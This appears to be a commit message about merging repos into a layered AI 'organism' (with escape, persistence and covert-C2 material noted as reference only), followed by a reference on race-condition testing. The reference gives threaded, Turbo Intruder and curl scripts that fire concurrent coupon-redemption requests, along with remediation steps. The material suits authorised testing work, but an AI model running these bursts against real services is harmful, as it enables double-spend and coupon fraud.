Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

API Reference: Race Condition Vulnerability Testing

Types of Race Conditions

Type Description Example
TOCTOU Time-of-check to time-of-use Balance check then debit
Double-spend Multiple withdrawals before balance update Gift card reuse
Limit bypass Concurrent requests bypass rate limits Coupon reuse
State mutation Concurrent writes corrupt state Inventory overselling

Python Threading for Concurrent Requests

Barrier Synchronization

import threading
barrier = threading.Barrier(10)

def worker():
    barrier.wait()  # All threads release simultaneously
    requests.post(url, json=data)

threads = [threading.Thread(target=worker) for _ in range(10)]
for t in threads: t.start()
for t in threads: t.join()

Turbo Intruder (Burp Suite)

Race Condition Script

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=30,
                          requestsPerConnection=100,
                          pipeline=False)
    for i in range(30):
        engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)

HTTP/2 Single-Packet Attack

Concept

Send multiple requests in a single TCP packet using HTTP/2 multiplexing to eliminate network jitter and maximize race window.

curl Example

# Send 10 requests simultaneously via HTTP/2
for i in $(seq 1 10); do
    curl -X POST https://target/api/redeem \
        -H "Content-Type: application/json" \
        -d '{"coupon": "SAVE50"}' &
done
wait

Analysis Indicators

Indicator Meaning
Multiple 200 responses Operation executed multiple times
Different response bodies State changed between requests
Mixed status codes Inconsistent handling

Common Vulnerable Operations

Operation Impact
Coupon/voucher redemption Financial loss
Money transfer Double-spend
Like/vote submission Manipulation
Account creation Duplicate accounts
File upload Overwrite race

Remediation

  1. Use database-level locking (SELECT ... FOR UPDATE)
  2. Implement idempotency keys
  3. Use atomic operations (e.g., UPDATE balance = balance - X WHERE balance >= X)
  4. Apply distributed locks (Redis SETNX)
  5. Implement optimistic concurrency (version fields)
